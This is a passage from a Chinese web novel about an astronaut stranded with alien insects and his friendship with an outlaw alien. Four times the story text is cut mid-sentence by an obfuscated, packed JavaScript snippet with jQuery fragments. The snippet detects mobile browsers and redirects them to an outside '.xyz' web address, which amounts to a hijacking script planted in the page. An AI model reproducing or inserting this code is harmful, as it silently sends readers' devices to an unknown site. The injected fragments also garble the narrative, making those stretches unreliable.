那么长的一段话,钟章听得断断续续。 他大概判断面前的外星生物在威胁自己,同时对自己脖子上的项圈有所指点,关键词只有“主人……坐牢……可能……”。 钟章道:“我没有主人。” 不要牵扯到序言吧,对方看上去麻烦很多了。 对面的蓝大褂表情却古怪多了,他对钟章道:“那就是个人爱好吗?你要不认我当主人吧。” 钟章这次听明白了。 他露出非常无奈又很生草的表情,“你会保护我吗?” “当然。”蓝大褂认真盘算道:“虽然免不了当实验体,但如果我们有这一层关系,很多地方我还是能照顾你的。你看上去真的很像……” 他越凑越近,那层笼罩在钟章身上的光罩看上去也越来越淡,随着距离靠近,蓝大褂心中一个有趣的想法逐渐成形:这个外星生物看上去真的很像他们这里的雄虫。 “你要是听话,我倒是可以考虑考虑把你。”他继续和钟章谈条件,眼见钟章没有挣扎的力气,脸几乎要贴到钟章脸上,“包装成雄虫。” 钟章抓起随身的氧气瓶,对准蓝大褂脑壳就是邦邦邦三下。 蓝大褂没有躲过,却也不被钟章这力气打倒。他手中长刃振动,对准钟章肩膀刺去,却直直刺入用光的氧气瓶中。 钟章借机用力一甩,采取迂回战术,跳入复杂的药柜中进行躲藏。 ——按照地球医学生的思路,他赌对方不敢破坏药品、医药器械等高价值物品。 事实也确实如此。 蓝大褂谨慎了许多,眉头皱紧。 “你以为这样就能躲开吗?”蓝大褂用语言威胁钟章,“你自己走出来,我还会考虑少给你做点实验。” 钟章屏住呼吸,手中拿起一瓶药剂。他分不清楚这些药剂的价值,但从装着的柜子里可以看出价位不同,他专挑看上去贵的往外丢。 蓝大褂最开始还会被引诱着出手,后面也变得谨慎起来。 “你是在拖延时机,等待智能程序来救你吧。”蓝大褂嘲讽道:“可惜你命不好。每一次序言袭击,都会率先切断所有对外信号,干扰一切智械运作程序。哪怕你有精神力,控制机械也会比寻常慢很多。” 好长一段话啊。钟章像个绝望的文盲,只能听懂其中一两个次,还有“序言”这个名字。 “所以你还是自己老老实实出来吧。”蓝大褂继续哄骗道:“要怪就怪你的主人没有看好你,随意将你放出来吧。不过不用担心,我的伙伴已经在查你到底是在哪里上的身份,不用多久,你或许可以和你的主人在实验室里相遇了呢。” 钟章努力去听,屁都没听明白。 他开始怀念和序言那种你画我猜,双方言简意赅地表达方式。 “你话太多了。”钟章道:“能不能简单点?” 蓝大褂:“从药柜里滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450558|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来。” 钟章真的要哭了。他就知道他一个外星人还没有药柜和药值钱,这个时候听话出来,那就是真的死定了。 他将自己藏得更好,活像个老鼠在药品柜上下蹦跶。 嘎吱嘎吱。把啦当。扒拉登噗。也不知道倒是打翻了什么试剂,还是踩到什么东西。钟章听到那蓝大褂陡然发出一身惨叫,爆出一串他听不懂但感觉很专业的词汇,“啊啊啊!停下!你在做什么!那很贵的!!” 钟章停下,准备回去找出那东西,和蓝大褂谈判。 例如,你不放我走,我就继续摔云云,很愚蠢的操作。 但他还没有这么做,蓝大褂自己已经想到了出路,表情平静,“差点忘了。现在毁掉的东西全部可以拿去平账。反正序言在上面炸仓。” 钟章:? 一无所知的地球人只觉得自己听到“平平的账单”这个很迷惑的翻译,接着就是蓝大褂的表情由阴转晴,毫不顾忌那些设备,饿虎扑食般朝着自己杀过来。 “*****!(这个项目我拿定了!)”蓝大褂说着钟章完全听不懂的话就上来了,“*****!(狗领导再也不能卡我经费)*******(我要毕业)! 钟章看对方那可怕的表情,全身绷紧,连滚带爬,带着崴脚和断掉的肋骨,边咳血边惨叫。 我靠!所以这才是正常的星际生存故事吗? 之前在序言那里,果然是童话风吗?如果他是世界之子是故事主角,这个故事文风是不是有点太割裂了?外星人与外星人的素质参差也这么大吗? 啪叽一下。 钟章踩到个药剂,不受控制摔了下。他感觉自己的脚踝被拽住,蓝大褂狰狞地冲他笑了笑,拽着他的脚就往外面拖。 中间,有其他试图上前分一杯羹的蓝大褂,都被此人用一顿臭骂和怒喷赶走。 钟章感觉自己还能再挣下,他强扯着嗓子道:“大哥。大哥。” 蓝大褂一句都不停,和打猎回家着急确认所属权一样,坚持不懈把钟章往某个地方拽。 钟章哀嚎道:“大哥,我要秃了。我的皮。我的皮快秃噜了。” 蓝大褂终于放缓了速度,继续拖着钟章往前走。 “少废话。”蓝大褂呵斥道:“过了那个拐角就好了。” 于是,过了一个拐角。 他们看到了正在逮着另外一个领导暴揍的序言。 “我(哔哔哔哔)你(哔哔哔哔哔)。” “我没有。” “没你个(哔哔哔哔哔)。”序言不喜欢任何花里花哨的东西,拳拳到肉,声声惨叫,看得拐角处的蓝大褂和钟章不约而同倒吸一口凉气。 “序言——救我救我啊!”钟章大喊起来,嘴巴下一秒被蓝大褂用拳头堵住。序言倒也不含糊,他又给面前这个自己记得样子记得名字的领导两巴掌,认真道:“等我把这个打完。” 蓝大褂放下钟章,表情纠结,走出去几步,又回来掏出一把类似的锥子的东西从中间给钟章剃了个头,抽个了血,剪了个指甲,像剥洋葱皮那样撕下钟章的一层皮,再刷刷给他照了几张相。 “我什么都没有都没对夜明珠家做。”蓝大褂认真地和序言深鞠躬,再鞠躬,“请您,不要打我。” 躺在地上的钟章一脸懵逼。他看着穷凶极恶的蓝大褂带着自己的头发、指甲、血和一部分皮肤组织,边九十度鞠躬边撤退。 序言还没说什么,他手上那个猪头样的领导就开始嘶吼起来,似乎在骂那个了蓝大褂。钟章还没听清楚领导要说什么,序言又两巴掌甩过去,痛斥道:“看看人家多知道分寸!你这样的老狗怎么就教出这样知道分寸的学生呢?你还好意思(哔哔哔)我(哔哔哔)。” 钟章缓了好一会,没有搞清楚状态。 他摸摸自己的脑袋,透过地上的碎片反光看到自己中间一条秃,两侧还有不少的头发。 钟章:…… 素来自信的地球小帅不敢置信地摸了摸自己的脑壳。 “啊啊啊啊啊啊啊我的头发!!!!王八蛋外星人!!!你为什么要毁了我的发型!!!” 你剃就算了,你至少剃光啊! 你们没有审美吗?你们没看到序言也在这里吗? 11. 第十一章 第十一章 书读不下去的时候,钟章就会捣腾自己的美貌。 他是那种后天努力大过先天努力的小帅哥。因为青春期压力爆痘丑过一段时间,所以帅了之后倍加珍惜自己的美貌。 如今,王八蛋外星人毁了他的发型,约等于毁了他前半生在容貌上做出的努力。 男人的头发越老越值钱。 知道这一头茂密、乌黑、充满光泽感的好发型,能给男人的颜值带来多少加持吗? 总之,钟章在崩溃。 序言并不理解钟章的崩溃,就像大学生不理解程序员对头发的执念。他揍完人,跑过来就看到钟章蹲在地上捂着脑袋大哭。 “怎么了?”序言试图用手去掰钟章的手,得到有史以来最强烈的反抗。 序言掰左手,钟章不松。序言掰右手,钟章也不松。 序言又不敢用力,生怕一个攒劲就把钟章脖子扭了。 他只好长叹一口气,公主抱起这个娇弱又脆弱的东方红族,道:“我们边走边说吧。” 钟章太委屈了。 但他还保持点个人的礼节和尊严,做不出现在就和序言告状要对方帮自己的事情——何况,就算追上蓝大褂把对方打一顿,自己的头发也没有办法回来了——钟章现在维持尊严最后的方式,就是四十五度仰望天空,努力让自己眼泪不要掉下来。 然后,他四十五度仰望到了序言的胸。 地球小帅的眼泪一下子收回去了,呆呆看着面前这一幕,将脑袋上缺牙吧的头发捂得更紧了。 序言关心道:“不哭了?” 钟章心如乱麻,用力吸一下鼻子,觉得在外星朋友面前自己大概是没什么形象了。 太难了。外星求生怎么会这么难? 钟章甚至短暂共情了那些被人类豢养的漂亮小鸟,据说那些人工饲养大的小鸟到野外没有任何生存能力。而他钟章只是短短被外星朋友照顾一周,难道就失去了自主探索世界的能力吗? 钟章啊钟章啊,你到底是怎么通过宇航员培训的?你又是怎么排到名额出任务的? 哦。钟章想起自己之所以能领到任务,是因为前面三位宇航员在三天内相继下楼梯摔骨折、洗澡感冒、派遣去其他任务,才最后轮到自己的。 没有人会记住第四名,除非这个人是不断替补、替补、替补上位的。 “我命里注定有这一劫。”钟章觉得自己太难了,“不过被外星人毁了发型,总比在地球花两千元剪坏头好。” 如此一想,钟章自己给自己调节好了。 某个瞬间,他甚至想,自己要不要拍一张丑照,回去后给老妈等一众亲戚吹嘘自己在外星精彩的冒险生活。 序言就公主抱着钟章走了一路,观察这个东方红族一会儿难过沉默,一会儿儿咧嘴嘿嘿笑的怪异表现。 是不是得病了? 序言听说有些药物混合在一起会让生物神经错乱。他很关心这个脆皮东方红,生怕对方等会死在自己的地盘上,已经开始琢磨要不要抓个医生给钟章检查身体。 “伊西多尔。”钟章一脸视死如归。 序言想,这是要说遗言了吗?他自认为语言不通,但还能分辨出生物脸上的表情。 可怜的东方红族,早知道自己就把对方扣在飞船上,等几年后自己的事情做完再送对方去黑洞附近。 序言有些后悔,毕竟是一条鲜活的生命,他内心还有些不忍。 钟章道:“可以给我拍一张照片吗?就是留下影像。我想好好记住这一刻。” 序言悲从中来。 雄父一直研究的东方红族原来也这么体弱多病吗?只是脑壳受了点伤,怎么马上就要死掉呢? “好的。”序言决定为可怜的东方红族停下揍人脚步,他道:“我一定会把你拍得特别好看。” 钟章觉得序言是个好外星人,但好外星人也无法拯救他的中间秃发型。 他决心拍完照就赶快剃光头,让丑的时间无限缩短。 二人怀揣着各自的悲伤与痛苦,精挑细选一处看上去还不错的风景:地上是混过去的猪头领导们,远处是不断飘起的硝烟与爆炸烟火,天空飞行过一架架怪异的巡逻机。 钟章深吸一口气,比了一个耶,努力让自己笑得不那么凄惨。 势要出片! 他才不要顶着这么丑的头发活着。 序言不太懂拍照,索性一直录像,录到钟章问“好了没”,他才停止视频录制,让控制系统自动筛选系统觉得最好看的两张:钟章嬉皮笑脸比着两根手指,站在硝烟前,站在序言暴揍过的外星人们前,顶着一个被炮轰出弹道的脑袋。 钟章看到照片里狰狞且残影的自己,对序言的拍照技术表示沉默。 好难看。 外星文明是除了科技,审美之类的完全没有进化吗?还是说,他们在这方面和地球就完全不一样了? “怎么样?”序言满怀期待地询问,希望自己的录像技术能让东方红族重燃起活下去的希望,“是不是感觉生活充满了希望。” 钟章:…… 完全不理解这句话为什么会出现在这个时间段。 他深吸一口气,也暂时别管什么三七二十一了,伸出手问序言有没有平滑的小刀或者推子,自己要简单地处理下头发。 序言花点时间听明白钟章的诉求,大惊失色,“削发明志?” 钟章也大惊失色,“翻译器居然还会成语吗?” “什么是成语?”序言不理解,但他眼睛一扫,开始读半空中显示的词义,“削发明志,是指你要成为一种没有头发、不会有后代、不会再有情感的生物。是这样吗?” 钟章:…… 没有头发+不会有后代+不再有情感的生物,应该,大概是说“和尚”吧。 钟章 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450559|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想了想等会的大光脑袋,长叹一口气,懒得解释了,“是的。请让我削发明志吧。” 让我成为出家人吧。 几分钟后,程度颓废地顶着大光头站在阳光下,看着满地碎发,长吁短叹,“再见了,我的头发。” 现在的我已经从小帅,变成光头帅了。 我,不能再留恋二十八岁的头发,我要去做点二十八岁男人真正应该做的事情了。 “伊西多尔。”钟章严肃道:“我已经处理好我的心了。现在我们一起去做你的事情吧。” 序言不理解,但他听东方红自己都这么说了,很自然地过度到下一个阶段,“好。那我们炸完厕所就离开吧。” 钟章:…… “等一下?为什么要炸厕所?” 序言回答道:“恶心。而且这是我雌性的父亲留给我的生存技巧,想要让别人知道你来过,可以炸一个厕所当标记。” 钟章不理解。钟章愿意入乡随俗。 十分钟后,他坐在烛龙舱上看着地上爆开的外星厕所,感觉自己的大脑也随着屎尿屁一起炸上天。 他的外星之旅真的是太精彩了。 * “温先生。” 钟章回到序言身边,第一件事情就去找那位漂亮的智能系统。看到对方依旧完好,没有出现什么肉眼可见的大问题,钟章松了一口气。 “太好了。温先生。”钟章恢复到自己那种浮夸的语言状态,关心起对方,“您没有受伤吧。现在是回到主系统了吗?当时您忽然消失,我真的很担心。” 【非常抱歉。】温先生感觉快要哭了,【我第一次出去做这种任务。十分抱歉,我没有考虑到很多情况。】 “没事的没事的。”钟章自己还活着,就不会对别人的系统有太多苛责。他道:“谁都有第一次啦。温先生以前一直都待在序言这里,应该也不是战斗类的系统,出问题是很正常的啦。” 他还是靠自己多学点东西,改装什么的也抓紧学一学。 总不能每次都要序言帮忙动手改装设备改良武器吧。 【我确实不是战斗类系统。】温先生停顿下,似乎在检阅什么东西,确认没有什么不能说的后,告知钟章,【遇到战斗情况时,我都要申请另外一套系统。我的本职工作是翻译和驾驶。】 “那就足够了。”钟章不会责怪善良的外星朋友和他那漂亮的系统,“温先生,我想多了解一下你的职能范围,这些可以告诉我吗?” 【当然可以。】 “关于伊西多尔的一些事情,在您的保密范围之外的事情,也可以告诉我吗?”钟章尝试性地询问,“比如一些他的外面的风评。哦,就是别人对他的评价。还有一些关于他通缉令的事情。” 温先生思考的时间比之前更长。 这次,他回答钟章,【当然可以。在我的保密范围之外的事情,我都会努力告诉你。】 12. 第十二章 第十二章 序言是一个大家族的私生子。 当然,用私生子形容他在家族里的地位并不恰当。按照钟章的角度去看,序言掌管那个家族的内务、内部财政、安全防护、教育弟弟等工作,已经约等于家族的大管家。 “哇。”钟章发自内心地夸赞道:“伊西多尔原来这么厉害?” 【是‘序言’。】温先生纠正钟章不标准的发音,转而自豪道:【我们序言是很棒的小孩。】 钟章尝试念对序言的名字,但很奇怪,他的舌头好像总拐不过弯,最终只能停留在伊西多尔这个音译名上。 温先生也没有办法纠正这一点。 “请和我说更多关于伊西多尔的事情吧。”钟章请求道:“我看他和那些蓝大褂关系不太好。是发生了什么事情吗?” 【嗯……可能有些超出我的权限。】温先生思索着,挑挑拣拣能够告诉钟章的事情;【序言从不打没惹他的家伙。他揍得都是从夜明珠家拿走过好处却不履行承诺的家伙。】 夜明珠家族。 钟章记住这个名字了。 他尝试再问问那些人从夜明珠家拿了什么好处,又不履行什么承诺。温先生却一脸茫然看着他,连之前说了什么都不知道的样子。 看来,这些事情已经超出温先生权限了。 “温先生。温先生。”钟章旁敲侧击道:“外面有好多关于伊西多尔的通缉令。就是好多人不喜欢伊西多尔。您怎么看。” 【他们不喜欢就不喜欢吧。】温先生回答道:【序言和他们的关系从没有好过……况且有些事情也不一定是序言做的。】 钟章没问出什么特别准确的信息。 他和温先生又唠嗑几句,思考要不要找序言再套点信息。 序言对他而言是一个可以信任的对象,但对全体人类来说未必是一个安全对象。钟章依旧不明白序言为什么对自己十分友好,但他想序言绝不是那种纯粹的傻白甜。 他只是面对我时和颜悦色。钟章心中有了一个锚点,他接下来要清楚序言的底线在哪里,再慢慢判断序言与他与整个人类之间的关系。 “温先生,你要吃什么吗?” 【我是智能程序。】温先生反问道:【东方红先生。需要我为你指路吗?最近的餐厅距离您也稍微有一点位置呢。】 钟章想起之前吃饭的场景,序言一个响指就冒出来一张桌子,再一个响指餐盘和食物就从桌子上长出来。 原来,这里还是有餐厅的啊。 “餐厅人多吗?”钟章随口说道:“人多的话,我去会有什么麻烦吗?” 【卫星岛上只有您、序言还有果泥。】 “没有其他人?” 【是的。没有其他人。】 钟章挠挠头,感觉序言也不是那种憋得住话的闷葫芦。他问温先生,“伊西多尔不会感觉到孤独吗?” 温先生又开始思考,不过很快,他给出一个很巧妙的回答:【东方红先生。如果您觉得序言会孤独。我希望您可以多陪伴他。虽然不知道序言是怎么想的,但我觉得您出现在这里,就代表您是不同的。】 “哇——”钟章鼓掌,满脸佩服,“温先生,您真是太懂了。” 我都被您吹捧得飘飘然了。 * 温先生的指路方式十分朴素。 他会在地面变换出一道发光箭头,钟章跟着箭头走就行了。这也是钟章第一次在室内走那么远的直线,他感觉自己走了有两公里之久,脚底心都开始发酸。 “温先生。还没有到吗?” 周围都是哑光材质的某种矿石?钟章用手去摸,又觉得像什么金属。他手掌按压在上面,根据力度不同,反馈回来的触感也不同。 【还有一段路。】温先生担忧地问道;【东方红先生是不是之前受了重伤?】 钟章觉得自己除了头发和一点皮外伤外,毫无损伤。 他道:“没有。” 【请不要逞强。】 钟章梗着脖子嘴硬,“真的没有。” 之后,又徒步四公里爬坡两公里。钟章死狗一样跪在地上,滴水未进滴米未食。 “温先生。温先生我走不动了。”钟章迅速求饶,“我之前在逞强。有没有车?我真的不行了。” 【我不会驾驶地面车唉。】温先生也委屈,他的程序里没有说需要驾驶地面车,反倒有另外一个功能。 温先生道:【序言就在附近。我把他叫过来吧。】 十秒钟后。 钟章看着坐在飞行代步车上的序言,虚弱伸出手。序言也不客气,抓起钟章的腰,娴熟扛起脆皮东方红族。 钟章:…… 算了。扛着就扛着吧,他真的不想走了。打完架别说洗澡呢,他连一口水都没有喝上。 序言倒是很贴心,又像是很多次面临类似的情况,从一个小篮中找出水递给东方红族。 “你们可以喝纯粹的水吗?” 钟章:“可以的。朋友。” 温先生提醒道;【就是你们地球上的‘纯水’。】 钟章拧开盖的手卡了下。 纯水,又名高纯水,一种不含杂质的H2O,是指化学纯度极高的水。钟章高中化学忘得三三两两了,但也记得纯水主要运用在工业中。 纯水……应该可以……少量的喝点吧。 序言贴心的补充道:“也不是‘纯水’吧。我往里面加了点东方红资料里写过的。那个什么东西?” 【氯化物?氰/化物?】温先生贴心地找出资料。 “对。”序言对钟章道:“应该和茶叶是一样的作用吧。你喜欢喝吗?” 钟章微笑,马上离那瓶水远一点。 “朋友。”钟章虔诚地说道:“喝这东西,我会死的。” 这回,序言又惊讶起来了。他道:“这么脆弱吗?”似乎为了作证自己的观念,他对钟章谈起他一个朋友日常喜欢用这些东西泡茶喝,还有一包专门用来混合果酱吃的粘稠状毒药。 “吃这种日常食物居然也会死吗?”序言大感不解,“那你们都吃什么?” “水果、蔬菜、一些本地生产的动物。”钟章口干舌燥,再看一眼那瓶加了□□的纯粹的水,闭上眼,“我真的好饿好累啊。” 没有出息也不要脸的地球小帅被外星朋友扛回房间里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450560|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“面。”序言打一个响指,一碗面条连汤带碗出现在桌子上。钟章闻闻味道,确定没什么危险源后,先喝汤再吃面,等吃完决心和外星朋友科普一下东方红族的脆弱程度。 他可不希望莫名其妙哪天吃点东西就死了。 “我们不吃矿石。” 序言点点头,嘴巴里没停下嚼脆脆矿物质的速度。 “我们喝的水,需要烧开。主要元素是氢和氧——氢和氧,这个能翻译吗?” 序言看向温先生。温先生操控那道指路光斑,变成一本小小的字典。 【这是来自你们卫星的原始资料。目前只翻译出一小部分。】温先生提醒道:【左边是你们的文字,右边是我们的通用语文字。东方红先生如果有需要的,我们可以为您开放部分权限。】 【当然,实况翻译和更丰富的词汇量需要找果泥帮忙了。】 小果泥今天不在,也不知道跑哪里去了。 钟章叹口气,继续开始脆皮外星生物的自我介绍,“我们吃的东西大部分是我们星球上生产的,很多人工提取出来的东西不太适合给我们吃。” “你们星球可以生产很多不同类型的食物吗?”序言好奇地问话。 钟章回答道:“当然可以。” “听上去很棒。” 钟章问道:“有机会你也可以来看看。” 说完,钟章自己先愣了下。他看向序言,发觉这位朋友也呆愣在原地。 接着,他们双方都不约而同思考这件事情的可行性。 ——毕竟,东方红先生的老家听上去很宜居。 ——序言在他自己的老家也不一定能待下去。 * 驾驶室里。 序言第一次思考这个严肃的问题:他剩余的仇人不多,就七八个了,找机会准点炸完就跑,速战速决未必不行。 过去,他从没有想过炸完要做什么。因为他料想自己不会那么轻易放下仇恨,一次炸完还能炸第二次、第三次四次。实在不行,序言觉得自己也可以走雌父的老路,重新当星盗。 “哥哥不准当星盗。”小果泥察觉到兄长的坏心思,扑腾过来,拍拍序言的脚背,“哥哥答应过,雄父说不可以当星盗。” 序言还在犹豫。 主要是,他想不到当星盗之外的事情。 而去东方红的星球,他又觉得是在别人屋檐下躲雨,时间一久双方也容易生矛盾。 “他毕竟是外星人。” 序言暂时觉得钟章人不错,但也就是不错为止。谁知道外星文明与自己之间什么时候会产生根本性矛盾,而钟章那时候肯定要站在他自己的族群那方。 而他自己…… 序言垂下眼睑,有些惆怅。不过很快,他想起一个不错的点子。 “我记得我有一颗星球。虽然位置和资源都用得差不多了,现在也没有什么居民在上面住了,但好歹是一颗星球。”序言对小果泥道:“你说,我们直接带自己的星球过去和东方红族当邻居,可以吗?” 这样,他就不算寄人篱下。 那颗星球也不必留在虫族这里,更不会在他走后,被那些讨厌的势力吃干抹净。 13.第十三章 第十三章 序言肚子里藏不住话。 他有这个念头后,直接出击找到钟章开始询问地球的状况,“你们的星球是什么样子的?周围有几个太阳?” 钟章没反应过来。 不过他觉得只要不是和报门牌号一样说出老家地址,应该都没事。 序言道:“你们那颗星星早就标注好了。我这里也有啦,你们星球到底是什么样子的?” 他很好奇。 钟章挠挠头,介绍道:“一个很美丽的、有大海有陆地的星球。我们那人还挺多的。各种小动物小植物也超级多。吃得也很多。哦。我们只有一个太阳,还有一个月亮。” “月亮?”序言思索片刻,问道:“是你们不住的那种星球吗?” “嗯……是的。距离我们住的地方很近,我们已经能在上面放车子了。”钟章还是用简单的语言,表示他们也是有科技水准的。 月球车,怎么不能算月球上的车子呢? 序言倒是很欣慰。 钟章家科技虽然落后,但应该不会和虫族相差太多。他还有些担心,东方红的星球处于那种古早科技时代,自己过去只能孤独地研究自己的东西。 现在瞅瞅,哦,他们都可以把卫星改造成自己的停车场了。 这不是很有实力吗? 说不定他过去还可以看看外星文明有什么值得自己学习和探索的地方。序言又问了他们吃什么,他们那的宇宙环境怎么样等等。 “我们那有八颗星球。”钟章双手笔画,“每一颗星球,我们探索了。” 嗯。用望远镜探索也是探索。 序言点点头,倒是觉得东方红族统治八颗星球是很正常的事情。不过,他还蛮好奇钟章家里具体住在那一颗星球上。 如果可以,他想把自己的星球放在钟章家附近。 序言认真思考下,在词库里找出自己想要的词汇,问道:“你们国家大概有多少人?” “14亿吧。” “啊?这么多?”序言大吃一惊。他知道“国家”在东方红族里代表“家庭”,而虫族虽然秉持一雄多雌的大家庭模式,通常会把人数控制在50之内。 钟章小小脆脆一个,没看出他居然有14亿个兄弟姐妹? 那他们岂不是和蝶族某些能霸占整个星球的超级大家族一样? 序言忽然觉得自己太小看钟章了。 他严肃道:“那你们的品种都是一样的吗?” 已经很努力在分辨的钟章:…… “嘶。怎么说呢。看你问的是什么品种吧。”钟章指着自己道:“其实我们那的人都差不多是这个色的。别的地方黑色和白色比较多。” 这个序言很理解。 他家里人算少的,兄弟四个各个品种不一样。 钟章家有14亿,居然还能保持同一个色,他们的雌性的雄性的长辈一定很努力了——那他们会不会很排斥外来者? “如果我想去你们家旁边住一段时间。你们会不会生气?”序言询问道:“因为,我东西比较多。过去就很难搬走。” 嘿。瞧着话说的。 钟章心中想,序言就算开着宇宙飞船过去,东西再多能多到哪里去?小油门一踩,到时候留下一阵烟就跑开了。 但他没有马上答应,提出几个小小的问题,“伊西多尔,你要送我回去?” 序言初次听“伊西多尔”还会思索是不是自己口音问题,但听多了,他已经默认自己在这个东方红族嘴巴里就是个“伊西多尔”。 东方红族说他们的通用语,说得真不标准。 “我还没想好。”序言坦白道:“你也知道。我在这里,到处都不喜欢我。我也没有地方可以去。” 钟章心忽然软了一下。 他嘴巴里那些旁敲侧击在此刻全失效了。 “如果你真的没有地方去,你可以悄悄来我家住。”钟章叮嘱道:“不要发出声音,你和我们长得很像。到时候你住在我家,住多久都可以。” 序言觉得不好意思,“多麻烦你。” “你要是觉得不对劲。”钟章笔画道:“发现有人要害你,你直接坐着你的飞船跑掉。不用管我。你能送我回家我就超级超级开心。” 序言不理解为什么有人要害自己。他也不理解自己发现有人害自己后,自己不能开炮直接轰他个狗日的。 ——不过,想想钟章有14亿手足。可能他也是顾忌手足之情吧。 钟章依旧在推销和自己偷偷住的好处,“我家还是很大的。足足有三个房间,一个洗手间。总面积和我们现在这个房间差不多。” 序言:? 序言这辈子就没有睡过这么狭窄的房间。 三室一厅一卫。他读书都没有挤过这么小的房间。他雄父都是直接给他买两层楼,标配二十六个房间还要再配备一个大露台一个大的空中停机坪,以方便放他的各种出行用具。 钟章家14亿手足难道挤在这么小的家里一起睡吗? 钟章道:“偶尔我姐姐会来住,但她不常来。她大部分时间都在旅行。姐姐就是雌性的同辈的意思。你可以放心住,到时候我睡地上,你睡床上。” 序言哑口无言。 他上面有一个雌兄。他满九岁后打死不会和雌兄睡在一个套间里,更别提什么我睡地上你睡床上了。 而他要是请朋友到家,在怎么睡觉上这么折腾,他雄父会为这点小事心疼到整晚睡不着,然后当天晚上吧嗒掉眼泪,吧嗒刷卡给他的私房里打钱、给他买各种各样的房子和机甲。 序言捂住额头。 他真的没想到闹钟家这么穷。 14亿手足和他们的雄父雌父居然没有一个有出息能赚钱买大点的房子吗?他们14亿手足难道因为家里不够住,都出去流浪、成家立业吗? 序言想不明白。 但他看着依旧自信邀请自己去三室一厅小住的钟章,不忍心打击脆皮闹钟的自信心,只能长叹一口气。 “我自己有房子。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15455078|169480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 序言道:“你放心。我不住那么小的房子。我自己带一颗星球过去。” 钟章:? 啊?什么东西冒出来了? 房子?还是星球? * 钟章还昏头昏脑的时候,序言已开启光幕向钟章展示自己那颗“没有多少价值”的矿产星球。 那是一颗通体发红的星球。 从外观上看,钟章暂时分辨不出海洋或者其他大气层。反倒是外层圈有点很厚一层淡粉色的气雾,从太空上俯视就像是一个又一个台风眼。 序言道:“这是我的星球。” 钟章真的很想问问,他是怎么说出这么平淡又壕无人性的话。但为了克制住自己的表情,让整个东方红显得不那么掉价,钟章压住自己的下巴,询问道:“你要带着这颗星球送我回家?” “嗯。”序言言简意赅地表态。 钟章心态又跳了一下。 哇!朋友,不要用这么简短的语句说这么超出我承受范畴的话啊。你知道你在说什么吗?那不是一架飞船,不是一个什么宇宙快递,那是一颗星球啊!一颗活生生的星球啊! “上面的居民还有动植物……” 序言道:“没有。上面没有住的人了。也没有动物和植物。除了矿,什么都没有。” “那你不是还有仇家。”钟章语言开始贫瘠,说话语无伦次,“我是说,你之前还把我那个丢下。现在怎么。是不是有点太快了?” 序言:“我想,就这么做。” 哇!朋友!你这也有点太想一出是一出了吧。你除了有钱外,还这么随心所欲吗? “那,那些你要揍的人。” “哦。”序言也想到这一点了,他微笑道:“偷偷给他们套麻袋,打一顿。” 之前是觉得亲自动手比较有感觉,序言暂时没考虑未来的事情。而一旦考虑未来,序言就不得不清点自己的资产。目前,他倾向于带着雄父留给他的所有遗产,去任何虫都找不到的地方生活一段时间。 否则,他只能去当星盗了。 钟章深吸一口气,努力让自己别显得那么没见过世面。 “需要我帮忙吗?” 序言:“不要。你太弱了。” * 地球。 针对国际宇航员钟章意外失踪一事,已过去三个月。 所有人默认这位宇航员已经献身宇宙。他所在的训练基地通讯箱每天都被白色雏菊插.满,无数同在基地的后辈路过钟章平日的训练室,都会放慢脚步,表情肃穆。 “烛龙舱里的生活物资完全可以支持钟章再坚持一年。”负责后勤的领导据理力争,“钟章虽然是所有受训人员中学历最低的,但他动手能力极强。我认为他存活的概率相当大,请务必加强搜救力度。” 另外一派人观念不同,但同样提出加强搜救力度的请求。 “我们的诉求:活要见人,死要见尸。不惜一切代价,必须找到钟章同志。” “祖国要接他回家。” 14.第十四章 第十四章 祖国妈妈为钟章殚精竭虑时,钟章正在序言这里睡大觉、学习如何开机甲。 双方的第一目标都是安全回家。 但祖国妈妈可能还得在国际空间站、国际联合探索等各个地方大撕特撕,严查意外真相。 钟章吃着冻起来的冰棍和小果泥一起打幼崽版机甲操控模拟器。 这是序言从犄角旮旯里翻出来的老游戏,说是可以帮他零基础熟悉机甲上的各种操作。 